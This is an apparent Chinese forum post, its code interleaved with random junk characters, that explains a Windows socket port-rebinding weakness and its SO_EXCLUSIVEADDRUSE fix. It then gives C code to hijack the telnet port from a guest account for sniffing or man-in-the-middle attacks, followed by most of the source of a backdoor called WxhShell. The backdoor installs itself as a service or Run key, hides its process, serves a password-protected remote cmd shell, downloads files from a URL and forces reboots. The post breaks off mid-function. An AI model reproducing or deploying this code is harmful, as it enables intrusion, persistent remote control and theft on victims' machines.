-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~J].~^[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |4@cX<d. U"GxXrl saddr.sin_family = AF_INET; wpZ"B+oK! /b,>fK^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); S^%3Vf} ]+I9{%zB%8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h.Qk{v };'@'
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -Lq+FTezE %6Gg&Y$j! 这意味着什么?意味着可以进行如下的攻击: 38w^="-T XUP{]w`.Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 chICc</l& _mm(W=KiL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'Ix@<$~i3F j@4MV^F2c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F3bTFFt dXTD8 )& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 lAnq2j| *}]# E$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~xqiasE#K xL15uWk- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?|ZbQz(bL ]Za[]E8MD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iZNS? ^U %_|KiW #include y[b8rv #include LuySa2, #include 9n(68|^$ #include RG'iWA,9m` DWORD WINAPI ClientThread(LPVOID lpParam); Pg}QRCB@ int main() ec; { Phi5;U! WORD wVersionRequested; AUD)=a> DWORD ret; a]p9[Nk WSADATA wsaData; +c%jOl BOOL val; azZtuDfv SOCKADDR_IN saddr; 4w+AOWjd SOCKADDR_IN scaddr; K9zr]7;th int err; ?t%{2a<X SOCKET s; >m_v5K SOCKET sc; ^^(<c,NX#M int caddsize; tLcEl'Eo HANDLE mt; WP-jtZ?!" DWORD tid; ,f:
jioY wVersionRequested = MAKEWORD( 2, 2 ); <E':[.zC err = WSAStartup( wVersionRequested, &wsaData ); T`$KeuL if ( err != 0 ) { R#4^s printf("error!WSAStartup failed!\n"); zL s^,x return -1; ,2 WH/" } }gsO&g"8 saddr.sin_family = AF_INET; ]2+g&ox4' r3I,11B //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FQf#* S 2$5!(P saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b"8FlZ$ saddr.sin_port = htons(23); i#,1iVSG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q:S\0cI0 { 8.I9}_ printf("error!socket failed!\n"); F>:%Cyo0! return -1; {e]NU<G , } Q?;C4n4]l val = TRUE; 9y"TDo //SO_REUSEADDR选项就是可以实现端口重绑定的 0->/`/xm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _1JmjIH)M { )
YSh D printf("error!setsockopt failed!\n"); GhnE>d;i return -1; J5T=!wF ( } Mn"/#tXL- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h3J*1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tkrx7Cs( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n0.8)=;2 y'rN5J:l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \ j]~>9 { T|f_~#?eV ret=GetLastError(); gStY8Z!k printf("error!bind failed!\n"); >5i ?JUZ return -1; z\[(g } d5, FM listen(s,2); tpz=}q while(1) Z0z) { wISzT^RS
caddsize = sizeof(scaddr); *q[^Q'jnN //接受连接请求 tdb4?^.s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uyvs kz\ if(sc!=INVALID_SOCKET) .>oM
z&
{ OT"lP(, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R=QM; if(mt==NULL) @]yQJuXA&Z { vkh;qPD printf("Thread Creat Failed!\n"); <|wmjW/D break; \J\vp0[nO} } _4g}kL02. } Z^C!RSQ CloseHandle(mt); <,#rtVO$ } yW'BrTw
closesocket(s); MEDskvBG WSACleanup(); N/`g?B[ return 0; Iy-u`S } pq@$&G DWORD WINAPI ClientThread(LPVOID lpParam) d9ZDpzxB { 9n-RXVL+ SOCKET ss = (SOCKET)lpParam; chM t5L+5 SOCKET sc; \"{/yjO|4 unsigned char buf[4096]; N7%=K9 SOCKADDR_IN saddr; ^D0/H
N long num; ;o&_:]S DWORD val; r(748Qc4f? DWORD ret; ^$3w&$K* //如果是隐藏端口应用的话,可以在此处加一些判断 h%4~0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 hnlU,p&y3 saddr.sin_family = AF_INET; W"#j7p`d saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *T1L)Cp saddr.sin_port = htons(23); ~0:$G?fz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =rE`ib { L|vaTidc0 printf("error!socket failed!\n"); a'(lVZA; return -1; 'bd=,QW } $Ykp8u,( val = 100; D<$j`r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aa'0EU: { t2`X!` ret = GetLastError(); oQKcGUZ return -1; :zS>^RE } 9'1;-^U1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |ij W_r { gDjd{+LUo ret = GetLastError(); UwzE'#Q- return -1; 9^=t@ } ?Ix'2v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Yn?2,^?N { `"1{Sx. printf("error!socket connect failed!\n"); }*{\)7g closesocket(sc); gs<qi'B closesocket(ss);
vf/$`IJ return -1; tleK(^ } zrWq!F*-V\ while(1) EUYa =- { @O*ev|o@x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [M zc^I& //如果是嗅探内容的话,可以再此处进行内容分析和记录 hBs>2u|z9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QL|:(QM num = recv(ss,buf,4096,0); ~,3v<A[5Vi if(num>0) fQ?n( send(sc,buf,num,0); OD2ai]!v+ else if(num==0) It,n +A break; |]
f"j': num = recv(sc,buf,4096,0); |rms[1<_ if(num>0) uk>/Il send(ss,buf,num,0); Rh-8//&vZ/ else if(num==0) cB9KHq B break; l$bmO{8uG } ezNE9g closesocket(ss); vNwSZ{JBd closesocket(sc); hZF&PV5H return 0 ; ]mGsNQ ].H } VAB&&AL
1Qc(<gM {Z{NH:^ ========================================================== 7{/:, 3YNkT"~T 下边附上一个代码,,WXhSHELL /dP8F PXQ9P<m ========================================================== YF[!Hpzq NbK?Dg8WJG #include "stdafx.h" R`3>0LrC8 xo"4mbTV #include <stdio.h> QCY{D@7T #include <string.h> NS/L! "g #include <windows.h> 5FR#_}k]_F #include <winsock2.h> D;8V{Hs #include <winsvc.h> an5kR_= #include <urlmon.h> Q Fqv,B\< R*5;J`TW #pragma comment (lib, "Ws2_32.lib") hF PRC0ftE #pragma comment (lib, "urlmon.lib") <{).x6 wyhf:!-I #define MAX_USER 100 // 最大客户端连接数 q^+NhAMz #define BUF_SOCK 200 // sock buffer HG6{`i #define KEY_BUFF 255 // 输入 buffer =y(YMWGS ImY*cW=M #define REBOOT 0 // 重启
x$b[m20 #define SHUTDOWN 1 // 关机 XI(@O) cj_?*
#define DEF_PORT 5000 // 监听端口 `1v!sSR0R KX}dn:;(3 #define REG_LEN 16 // 注册表键长度 xR6IXF>* #define SVC_LEN 80 // NT服务名长度 :
MmXH&yR a7d- // 从dll定义API K?m:.ZM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9i)mv/i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v@s`l# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s(9rBDoY(8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F"P:9`/ aC]l({-0 // wxhshell配置信息 3E@&wpj struct WSCFG { #]HjP\C int ws_port; // 监听端口 Donf9]&U char ws_passstr[REG_LEN]; // 口令 3n)iTSU3 int ws_autoins; // 安装标记, 1=yes 0=no ,#;ahwU~s char ws_regname[REG_LEN]; // 注册表键名 jCv+m7Z char ws_svcname[REG_LEN]; // 服务名 gUtbCqDS char ws_svcdisp[SVC_LEN]; // 服务显示名 C:EoUu char ws_svcdesc[SVC_LEN]; // 服务描述信息 _[tBLGXD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?0&>?-? int ws_downexe; // 下载执行标记, 1=yes 0=no u"|nu!p` char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $iJ
#%&D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >2a#|_-T phSP+/w }; P.J}\;S T 9'aR-tFun; // default Wxhshell configuration EwZt/r struct WSCFG wscfg={DEF_PORT, )U`kU`+' "xuhuanlingzhe", w2V E_ 1, <7Lz<{jaJ "Wxhshell", R:<AR.)K "Wxhshell", #Og_q$})f "WxhShell Service", {IwYoR aXa "Wrsky Windows CmdShell Service", ^O"`.2O1 "Please Input Your Password: ", _{);n$ ` 1, \bE~iz3b9 " http://www.wrsky.com/wxhshell.exe", K_.x(Z(;4 "Wxhshell.exe" (<-0UR]%q; }; _RVXE
%LmB`DqZ // 消息定义模块
/n=/WGl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jqmP^ZS char *msg_ws_prompt="\n\r? for help\n\r#>"; M-t9zT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >cLZP#^\2E char *msg_ws_ext="\n\rExit."; 7T78S&g char *msg_ws_end="\n\rQuit."; s5@^g8(+C char *msg_ws_boot="\n\rReboot..."; ;kA2"c]m char *msg_ws_poff="\n\rShutdown..."; Hqv(X=6E0 char *msg_ws_down="\n\rSave to "; d4tVK0
~ 9m>_qWaA char *msg_ws_err="\n\rErr!"; EA72%Y9F char *msg_ws_ok="\n\rOK!"; r v>6k:( Fx 2&ji6u char ExeFile[MAX_PATH]; IYPI5qCR int nUser = 0; ZgtOy|?| HANDLE handles[MAX_USER]; *2Kte'+q int OsIsNt; DoA f,9|_ ,0O!w>u_]J SERVICE_STATUS serviceStatus; PT=%]o] SERVICE_STATUS_HANDLE hServiceStatusHandle; F u)7J4Z iFnM6O$( // 函数声明 bK7DGw`1 int Install(void); na>B{6 int Uninstall(void); >"b"K{t int DownloadFile(char *sURL, SOCKET wsh); Fej$`2mRH int Boot(int flag); ? IWS void HideProc(void); =W?c1EPLCx int GetOsVer(void); D!CGbP( int Wxhshell(SOCKET wsl); #v1 4"s Z} void TalkWithClient(void *cs); GU9`;/ int CmdShell(SOCKET sock); [dUEe@P int StartFromService(void); ) PtaX|U int StartWxhshell(LPSTR lpCmdLine); e3.TGv7= SJfsFi?n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #frhO;6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); =KMck=#B U]d+iz??b // 数据结构和表定义 q~Ud>{ SERVICE_TABLE_ENTRY DispatchTable[] = NGxuwHIQ8 { BdSTB" {wscfg.ws_svcname, NTServiceMain}, =e63>*M| {NULL, NULL} CwAl-o }; B{Rig5Sc V&G_Bu~ // 自我安装 ^^Y0 \3. int Install(void) V6c?aZ,O { {.ph)8 char svExeFile[MAX_PATH]; 6*%lnd+_ HKEY key; ,v/C-b)I strcpy(svExeFile,ExeFile);
3x#G
SS t]V)3Ww // 如果是win9x系统,修改注册表设为自启动 X6PfOep if(!OsIsNt) { IBR;q[Dj} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v / a/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )]>9\( RegCloseKey(key); U+W8)7bc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dX<UruPA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r J&1[=s RegCloseKey(key); :x_l"y" return 0; WTXTr0= } tZ(Wh } Ih{~?(V$ } Q.nEY6B_ else { xx%WIY:} :D(:(`A= // 如果是NT以上系统,安装为系统服务 UHXlBH@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :yv!
x if (schSCManager!=0) Drg'RR>< { seJc,2Ex SC_HANDLE schService = CreateService iud%X51 ( BWd?a6nU} schSCManager, ,u$$w wscfg.ws_svcname, ,2u]rLxx; wscfg.ws_svcdisp, EQg
6*V SERVICE_ALL_ACCESS, f3nib8B' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ])e6\) SERVICE_AUTO_START, uHkL$}C SERVICE_ERROR_NORMAL, BSY2\AL p svExeFile, 3)^-A4~E NULL, /d ?) NULL, Vv~rgNh NULL, {s6;6>-kPW NULL, lX/6u
E_% NULL -ve{O-; ); E)DdiB'Rh if (schService!=0)
RLOB { y TfAS. CloseServiceHandle(schService); T]l_B2. CloseServiceHandle(schSCManager); {}H5%W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j(F&*aH78 strcat(svExeFile,wscfg.ws_svcname); 9->E$W if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JhRXfIK>{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oM/(&" RegCloseKey(key); =/&ob%J)9] return 0; dVmI.A'nbp } 4h\MSTF* } zA=gDuy3@ CloseServiceHandle(schSCManager); AmNmhcN } p:U9#(v) } KY9sa/xO ^o}!=aMr return 1; O?/\hZ"&c } SUsD)!u_H +QT(~< // 自我卸载 rC
V&&09
int Uninstall(void) +e+hIMur { 9`yG[OA HKEY key; %p6"Sg* a@$ U?=\e if(!OsIsNt) { 0{#c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xZZW*d_b RegDeleteValue(key,wscfg.ws_regname); ES p)% RegCloseKey(key); teH $hd-q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t"k6wv;Tq RegDeleteValue(key,wscfg.ws_regname); F#>?i} RegCloseKey(key); S7&w r@ return 0; 8gwJ%"-K } ,6:ya8vB } A@-nn] } 4^vEMq8lB else { ZnSDq_Uk roT$dL
P)w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a<9gD,]P if (schSCManager!=0) [u\E*8 { LDqq'}qK6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o"dX3jd if (schService!=0) X-&t!0O4}` { qXPjxTg{[ if(DeleteService(schService)!=0) { yk OJhd3 CloseServiceHandle(schService); 3;(;'5|Z CloseServiceHandle(schSCManager); 7WK^eW"y8 return 0; 7 wS)'zR; } 5W_u|z+/g CloseServiceHandle(schService); KLD)h,] } Q SPneYD CloseServiceHandle(schSCManager); j]th6 } ;1PnbU b } !wy
Qk ^]:w5\DG return 1; /.{4
KW5 } nI4Kuz`dF ??eSGQ| // 从指定url下载文件 :ad int DownloadFile(char *sURL, SOCKET wsh) DZo7T! { 88(h`RGMh HRESULT hr; 8OE=7PK char seps[]= "/"; tSX<^VER7 char *token; \; ! oG char *file; OI0#@_L& char myURL[MAX_PATH]; IsjxD|u char myFILE[MAX_PATH]; U6^x(2De W"
>[sn| strcpy(myURL,sURL); y)iT-$bQ token=strtok(myURL,seps); +-tvNX%IJ while(token!=NULL) N~7xj? { jo 0
d# file=token; JGQlx-qv token=strtok(NULL,seps); NAd|n+[d } :pj00 Cm@e^l! GetCurrentDirectory(MAX_PATH,myFILE); $:IOoS|e strcat(myFILE, "\\"); $|+q9o\ strcat(myFILE, file);
*Ju$A send(wsh,myFILE,strlen(myFILE),0); WJH-~,u send(wsh,"...",3,0); '
>a(| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }diB if(hr==S_OK) wdS4iQD return 0; =`RogjbP else Ik[aiz return 1; Uedzt 'Cw&9cL9w } UjCQ W:[ -L%J,f[&, // 系统电源模块 Uc
oVp}vl int Boot(int flag) A4;EtW+F { R9=K/ HANDLE hToken; k?(x}IZdG TOKEN_PRIVILEGES tkp; +?"N5%a%F u,h ,;'J if(OsIsNt) { L~x
PIu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ =
uz LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K)NB{8 _ tkp.PrivilegeCount = 1; {+D
6o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <cC 0l-= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lw/zgR#| if(flag==REBOOT) { 6T3uv,2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) | %E\?-TK return 0; y"N7r1Pf } -P I$SA, else { 8sMDe' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y2"PKBK\_ return 0; :exgdm;N } Vz=ByyC } lr>:S else { wUUDq?!k\ if(flag==REBOOT) { %}< e;t-O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h8R3N?S3# return 0; N0Y$QWr_$ } . X(^E else { n-HQk7=mQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n^} -k'l return 0; #Az#dt]H } fW/G_ } u\L=nCtLby 96L-bBtyY return 1; to}g4 } ,'FH[2 i5f8}`w // win9x进程隐藏模块 9\yGv void HideProc(void) Uavr>- { 'VgdQp$L$ rV
yw1D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jkTh)Bm|' if ( hKernel != NULL ) nRP|Qt7> { NNKI+!vg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )K=%s%3h< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -?jI{].:8 FreeLibrary(hKernel); /G{;?R } {}sF?wZf x.5!F2$ return; JEw+5MO@ } *3uBS2Ld %anY'GK // 获取操作系统版本 jTR>H bh int GetOsVer(void) iMT[sb { fwkklg^ OSVERSIONINFO winfo; >yZe1CP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mJ_5Vt= GetVersionEx(&winfo); \
oY/hT _ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wjq;9%eXk return 1; D(E3{\*R else .S5%Qa [uW return 0; 6`c5\G+ } 6UAn#d9 |w{}h6a // 客户端句柄模块 +jEtu[ ; int Wxhshell(SOCKET wsl) tj'xjX { v)f;dq ^z- SOCKET wsh; ]+"25V'L struct sockaddr_in client; !J6;F}Pd/ DWORD myID; [%uj+?}6O Nf]h8d~ while(nUser<MAX_USER) FI(iqSJ6 { >=6 j: int nSize=sizeof(client); |3bCq(ZR\P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *=2sXH1j if(wsh==INVALID_SOCKET) return 1; <hV%OrBz- Irc(5rD7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8v ZY+Q > if(handles[nUser]==0) >p`ZcFNs" closesocket(wsh); d:L|BkQ7* else R1/h<I: nUser++; V0/PjD,jP } lEYAq'= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W]CsKN,K (-[73v-w return 0; /Xm4%~b_gj } JW}O`H9 %K[u // 关闭 socket $<s;YhM:u) void CloseIt(SOCKET wsh) %B~@wcI)W { YAsE,M+ closesocket(wsh); TF%MO\! nUser--; V#,jUH| ExitThread(0); >+FaPym } M(Tlkr T^DJ/uhd // 客户端请求句柄 E;bv;RUio void TalkWithClient(void *cs) wj2z?0}o { /Y`u4G() l<)k`lrMX4 SOCKET wsh=(SOCKET)cs; 2r"J"C char pwd[SVC_LEN]; skP'- ^F~ char cmd[KEY_BUFF]; j[${h,p? char chr[1]; H7{I[>: int i,j; l{mC|8X =k]2Ad while (nUser < MAX_USER) { T9\G,;VQ7/ [T(`+
#f if(wscfg.ws_passstr) { z'9U.v'M) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >/+R~ n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1d 1
~`B //ZeroMemory(pwd,KEY_BUFF); ez14f$cJ+ i=0; IAi|4,y_L while(i<SVC_LEN) { x
K ;#C [tk6Kx8a // 设置超时 WRp0. fd_set FdRead; lSG]{ struct timeval TimeOut; PY
MofQaZ FD_ZERO(&FdRead); %W^Zob FD_SET(wsh,&FdRead); ?UV|m TimeOut.tv_sec=8; Kz"&:&R" TimeOut.tv_usec=0; 9~{,Hj1xE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k] A(nr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )I"I[jDw %.WW-S3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~~ON!l9n pwd =chr[0]; P-~Avb if(chr[0]==0xd || chr[0]==0xa) { #oYX0wvl pwd=0; 2|~&x~ break; GX_Lxc_<f } q9Y0Lk i++; #%e`OA(b } /]xd[^ !*%3um
// 如果是非法用户,关闭 socket iA ZtV'VQ) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $)@zlnU } ZUu^==a xv:?n^yt.[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GxkG$B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hj!)S&y,$ kpdFb7>| while(1) { 0D'Wr(U( ST3qg6Cq2J ZeroMemory(cmd,KEY_BUFF); E;qwoTmul b>i=",i\ // 自动支持客户端 telnet标准 ]VvJ1Xn0 j=0; )>fi={!=c while(j<KEY_BUFF) { No7Q,p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bag#An1 cmd[j]=chr[0]; ZwMw g t if(chr[0]==0xa || chr[0]==0xd) { x3Ud0[( cmd[j]=0; .H"hRYPC? break; #-;BU{3* } 1 XG-O j++; |$PLZ, } $<v_Vm?6d gNwXOd u // 下载文件 +2SX4Kxu if(strstr(cmd,"http://")) { h uJqqC send(wsh,msg_ws_down,strlen(msg_ws_down),0); k3 l if(DownloadFile(cmd,wsh)) />C~a]} send(wsh,msg_ws_err,strlen(msg_ws_err),0); lIz_0rE else Z=0W@_s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {rT`*P~ } PlZiTP else { f[b YjIX Q7|13^|C switch(cmd[0]) { spJ(1F{|V B$l`9!, // 帮助 CWp1)%0= case '?': { &r%*_pX send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8(>.^667 break; 1c#'5~nB } opMUt,4 // 安装 FE}!bKh case 'i': { ]ufW61W6Ci if(Install())
#-T.@a1X send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ<btN.y5 else *Xoscc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A+I&.\QAR break; <im<(=m9 } pFTlhj)1 // 卸载 "<x~{BN? case 'r': { Jwd&[
O if(Uninstall()) toqzS!&.v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^,lZ58
2 else zpqGh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E[.tQ|C break; ]<gCq/V # } 1?|6odc // 显示 wxhshell 所在路径 _AYC|R| case 'p': { j yRSEk$ char svExeFile[MAX_PATH]; `uh@iD'KI strcpy(svExeFile,"\n\r"); $-Pqs
^g strcat(svExeFile,ExeFile); M~Qj'VVL send(wsh,svExeFile,strlen(svExeFile),0); ceZ8}Sh break; vo
;F ; } neh;`7~5@K // 重启 .l+~)$ case 'b': { 12sD|j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tIb21c q if(Boot(REBOOT)) ^qO=~U!{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); kq~[k. else { BwJ^_:(p~ closesocket(wsh); }l(m5 ExitThread(0); ,p!B"#
ot } /J.\p/%\ break; =6L*!JP< } +K%pxuVh // 关机 s`=/fvf. case 'd': { -,Q $ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J+b!6t}mZn if(Boot(SHUTDOWN)) 7q!yCU send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("E!Jyc! else { bug Fl> closesocket(wsh); B9e.-Xaf ExitThread(0); (+UmUx= } oWDSK^ break; ')5L_$ } E-sSRt // 获取shell hA*Z'.[ case 's': { LMFK3Gd[ CmdShell(wsh); /e|[SITe closesocket(wsh); t0e{|du ExitThread(0); 6KEykw
j break; e)HhnN@ } eb!s'@ // 退出 4r1<,{gCS case 'x': { G;C8Kde send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v._Egk0 CloseIt(wsh); Yz=h"Zr break; & =73D1A } BFMS*t` // 离开 'u(=eJ@1 case 'q': { %1\v7Xw{9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); jq57C}X}2 closesocket(wsh); ]6{(Hjt WSACleanup(); GS
;HtUQ exit(1); ^^7L"je]g break; 48tcgFg[ } EkJVFHfh } }_{y|NW } /Jxq
3D)v ih>a~U< // 提示信息 7_9+=.
+X5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x37/cu } v:rD3=M- } {y,nFxLq tJ=3'?T_k return; )v%l0_z{ } "^;#f+0 >=if8t! // shell模块句柄 <7=&DpjI7F int CmdShell(SOCKET sock) ?gLR<d_ { 7\IL STARTUPINFO si; X<(6T ZeroMemory(&si,sizeof(si)); Q_ctX|. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~?#~ Ar si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M_k`%o PROCESS_INFORMATION ProcessInfo; w6vLNX char cmdline[]="cmd"; bqSMDK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j!YNg*H return 0; (tepmcf } oP/>ju :'Zx{F` // 自身启动模式 wHx}U M" int StartFromService(void) yahAD.Xuo@ { E W`W~h[ typedef struct $=/rGpAk { Zr=ib DWORD ExitStatus; BU`ckK\( DWORD PebBaseAddress; z.
'Fv7 DWORD AffinityMask; \.o=icOx DWORD BasePriority; 0; 7#ji
